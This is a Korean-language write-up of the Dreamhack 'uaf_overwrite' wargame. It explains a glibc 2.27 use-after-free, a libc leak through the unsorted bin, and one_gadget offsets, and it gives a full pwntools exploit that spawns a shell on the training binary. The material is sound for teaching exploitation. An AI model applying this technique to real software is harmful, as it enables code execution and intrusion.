dreamhack - uaf_overwrite writeup
[dreamhack] uaf_overwrite writeup
1. 문제

Exploit Tech: Use After Free에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3572. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
human_func
, robot_func
, custom_func
가 있다.
-
human_func
함수는human
구조체 1개를 할당하고,weight
과age
를 입력받아서 데이터 저장 후free
한다. -
robot_func
함수는robot
구조체 1개를 할당하고,weigth
을 입력받아 데이터 저장 후,robot->fptr
의 값이NULL
이 아니면fptr
의 주소에 있는 코드를 실행한다. -
custom_func
함수는 size가0x100
보다 크면custom[c_idx]
에 size만큼 할당하고 데이터를 입력받는다. 이후 이 값을 다시 출력해주고,idx
를 입력받아서 조건문을 통과하면 할당한 메모리를free
한다.
일단 human
과 robot
구조체의 크기는 동일하기 때문에 human->age
에 원하는 코드의 주소를 입력하면 robot->fptr
이 실행될 때 해당 코드가 실행될 수 있다.
그러려면 libc
leak이 필요한데, custom_func
를 실행할 때 할당된 메모리의 데이터 출력 시 이전에 free
되었던 메모리를 다시 불러오게 되면 fd
값을 알 수 있고 이 값은 libc
중에서 main_arena
의 주소이기 때문에 leak이 가능하다.
이번 문제는 좀 heap, 특히 unsorted_bin과 관련된 배경지식이 많이 필요했다.
2.1. unsorted bin의 특징
unsorted bin
은 free
직후에 해제된 청크가 들어가는 일시적인 공간으로서, 잠깐 들어갔다가 크기에 따라 small/large bin으로 이동하게 된다. 그런데 glibc 2.26
버전 부터는 1040bytes보다 작은 청크는 최대 7개까지는 tcache
로 먼저 들어가고 unsorted bin
으로 들어가지는 않는다. 그래서 만약에 unsorted bin
을 이용하고 싶으면 처음부터 1040bytes보다 큰 청크를 할당했다다가 해제하던지, 아니면 7개의 tcache
를 모두 채운 다음에 이용하던지 해야한다. 이 문제는 glibc 2.27
버전을 사용하고 있기 때문에 1040bytes 이상의 청크를 사용할 것이다.
그리고 free
를 해서 unsorted bin
에 들어가게 되면 아래와 같은 변화가 일어난다.
할당 직후:
[ chunk header (size, prev_size) ][ user data ]
사용 후:
[ chunk header ][ "hello world\0..." ]
free 후 (unsorted bin 진입):
[ chunk header (same size) ][ fd ][ bk ][ stale user data ]
보면 user data
에 “hello world” 문자열이 들어갔다가, free
를 하게되면 fd
와 bk
가 해당 위치에 덮인다.
포인터 | 의미 | 역할 | 위치 |
---|---|---|---|
fd (forward) |
다음 청크 포인터 | 현재 청크 다음에 오는 free 청크를 가리킴 | 현재 청크의 메타데이터 영역에 저장 |
bk (backward) |
이전 청크 포인터 | 현재 청크 이전의 free 청크를 가리킴 | 현재 청크의 메타데이터 영역에 저장 |
정확히 말하면 아래와 같다.
예: p라는 청크를 free(p)했을 때, 이렇게 하면 p는 unsorted bin의 맨 앞(head)에 추가된다.
- p->fd = main_arena.unsorted_bin
- main_arena.unsorted_bin->bk = p
- main_arena.unsorted_bin = p
- p->bk = &main_arena.unsorted_bin
이때 p->fd
와 p->bk
에 들어가는 값은 main_arena
의 값인데, 이게 libc
에 존재하는 값이다. 때문에 이를 leak할 수 있으면 libc
의 base 주소를 알 수 있다.
이제 이걸 기준으로 one_gadget
주소를 찾아서 human_age
에 입력해주면 해결이될텐데, leak을 하는 과정이 조금 까다롭다. 만약 처음에 한번 할당 후 바로 free
를 하게되면 해당 청크는 top chunk
와 맞닿아있기 때문에 unsorted bin
으로 들어가는게 아니라 top chunk
와 합쳐지게 된다. fd
나 bk
에 아무것도 쓰여지지 않기 때문에 다시 할당을 요청해도 아무 값이 써있지 않다. 즉, 아래와 같이 되는 것이다. 때문에 두개의 청크를 할당한 후에, 첫번째로 할당했던 청크를 free
해야 해당 청크가 unsorted bin
으로 들어가고, fd
와 bk
가 쓰여질 수 있다. 그리고 동일한 사이즈를 다시 할당하게 되면 해당 청크를 다시 불러오게 된다.
- 하나만 할당해서
free
할 경우
초기 상태:
[ top chunk (full size) ]
malloc(0x100):
[ chunk A (0x110 = 0x100 + header) ][ top chunk (reduced) ]
free(chunk A):
[ new merged top chunk (size = A + top chunk) ]
- 두번 할당한 후에 첫번째 청크를
free
할 경우
초기:
[ top chunk (full size) ]
malloc 두 번 후:
[ chunk A ][ chunk B ][ top chunk (reduced) ]
free(chunk A):
[ free chunk A (unsorted bin) ][ used chunk B ][ top chunk ]
2.2. 시나리오
그러면 이제 libc base
를 얻어내는 과정이다. 먼저 custom_func
를 3번 실행해서 두개의 청크를 할당하고 첫번째를 free
한 후, free
된 청크를 다시 할당하였다.
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'-1') # 아무 청크도 free안함
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'0') # 첫번째 청크 free
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"b")
p.recvuntil(b"Data: ")
main_arena_libc = u64(p.recv(6) + b"\x00" * 2)
p.sendlineafter(b"idx: ", b'-1')
이러면 재할당한 청크의 데이터를 출력할 때 fd
의 값이 출력된다. 다만 주의할 점은 어쨌든 b
라는 값을 입력했기 때문에 마지막 fd
의 1바이트는 b
가 덮여서 0x62
가 있을 것이다.
이렇게 main_arena
의 libc 주소를 구하긴 했는데, offset을 구해보자. 두가지 방법이 존재한다.
- 1.
vmmap
을 이용해서 libc base 주소와 비교하기
간단하게 leak을 한 주소와 gdb
에서 vmmap
을 통해 구한 libc base 주소를 비교하는 것이다. 예를 들어 leak을 한 주소는 아래와 같았다.
ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ python3 e_uaf_overwrite.py
[+] Starting local process './uaf_overwrite': pid 2498532
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/uaf_overwrite/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x777b6e3ebc62
그리고 gdb
에서 vmmap
을 실행하면 libc의 base 주소를 알 수 있다.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x58b99a200000 0x58b99a202000 r-xp 2000 0 uaf_overwrite
0x58b99a401000 0x58b99a402000 r--p 1000 1000 uaf_overwrite
0x58b99a402000 0x58b99a403000 rw-p 1000 2000 uaf_overwrite
0x58b99a600000 0x58b99a601000 rw-p 1000 4000 uaf_overwrite
0x58b99a800000 0x58b99a802000 rw-p 2000 5000 uaf_overwrite
0x58b99ac00000 0x58b99ac01000 rw-p 1000 7000 uaf_overwrite
0x58b9a11d5000 0x58b9a11f6000 rw-p 21000 0 [heap]
0x777b6e000000 0x777b6e1e7000 r-xp 1e7000 0 libc-2.27.so
0x777b6e1e7000 0x777b6e3e7000 ---p 200000 1e7000 libc-2.27.so
0x777b6e3e7000 0x777b6e3eb000 r--p 4000 1e7000 libc-2.27.so
0x777b6e3eb000 0x777b6e3ed000 rw-p 2000 1eb000 libc-2.27.so
0x777b6e3ed000 0x777b6e3f1000 rw-p 4000 0 [anon_777b6e3ed]
0x777b6e400000 0x777b6e429000 r-xp 29000 0 ld-2.27.so
0x777b6e629000 0x777b6e62a000 r--p 1000 29000 ld-2.27.so
0x777b6e62a000 0x777b6e62b000 rw-p 1000 2a000 ld-2.27.so
0x777b6e62b000 0x777b6e62c000 rw-p 1000 0 [anon_777b6e62b]
0x777b6e700000 0x777b6e702000 rw-p 2000 0 [anon_777b6e700]
0x7fffacbcb000 0x7fffacbec000 rw-p 21000 0 [stack]
0x7fffacbf6000 0x7fffacbfa000 r--p 4000 0 [vvar]
0x7fffacbfa000 0x7fffacbfc000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
libc-2.27.so
의 start
주소가 base주소가 되는데, 여러개가 있는 것을 볼 수 있다. 그중에서 우리가 봐야할 것은 x
권한, 즉 실행권한이 있는 libc-2.27.so
의 start
주소가 진짜 base이다. 여기서는 0x777b6e000000
이다.
위의 0x777b6e3ebc62
와 정확히 0x3ebc62
만큼 차이나므로 이를 통해 구할 수 있다.
- 2.
__malloc_hook
의 offset을 기준으로 구하기
main_arena
의 주소는 __malloc_hook + 0x10
임이 알려져있다. 이를 통해서 쉽게 구할 수 있는데, 다만 이럴 경우 앞에서처럼 정확히 구해지는 것은 아니고, 입력한 데이터 b
가 덮인 주소가 고려되지 않기 때문에 마지막 바이트가 00
이 되도록 해야한다.
이제 one_gadget
의 offset을 구해보면 아래와 같이 총 4개의 offset이 나오는데 실제로 작동했던건 마지막 0x10a41c
였다.
ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ one_gadget libc-2.27.so
0x4f3ce execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
최종 exploit은 아래와 같다.
from pwn import *
p = process("./uaf_overwrite")
#p = remote("host3.dreamhack.games", 14946)
elf = ELF("./libc-2.27.so")
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'-1')
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"aaaa")
p.sendlineafter(b"idx: ", b'0')
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Size: ", b"2000")
p.sendafter(b"Data: ", b"b")
p.recvuntil(b"Data: ")
main_arena_libc = u64(p.recv(6) + b"\x00" * 2)
p.sendlineafter(b"idx: ", b'-1')
libcbase = main_arena_libc - 0x3ebc62
print(hex(libcbase))
one_gadget = libcbase + 0x10a41c
print(hex(one_gadget))
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Human Weight: ", b"1")
p.sendlineafter(b"Human Age: ", str(one_gadget))
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Robot Weight: ", b"1")
p.interactive()
vm 코인 이슈로 로컬 결과로 대체…
ubuntu@instance-20250406-1126:~/dreamhack/level2/uaf_overwrite$ python3 e_uaf_overwrite.py
[+] Starting local process './uaf_overwrite': pid 2498627
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/uaf_overwrite/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7dd4a6400000
0x7dd4a650a41c
/home/ubuntu/dreamhack/level2/uaf_overwrite/e_uaf_overwrite.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"Human Age: ", str(one_gadget))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
$ cat flag
DH{**flag**}
이 문제에서도 당연히 libc 패치를 해주고 풀었다.
해결~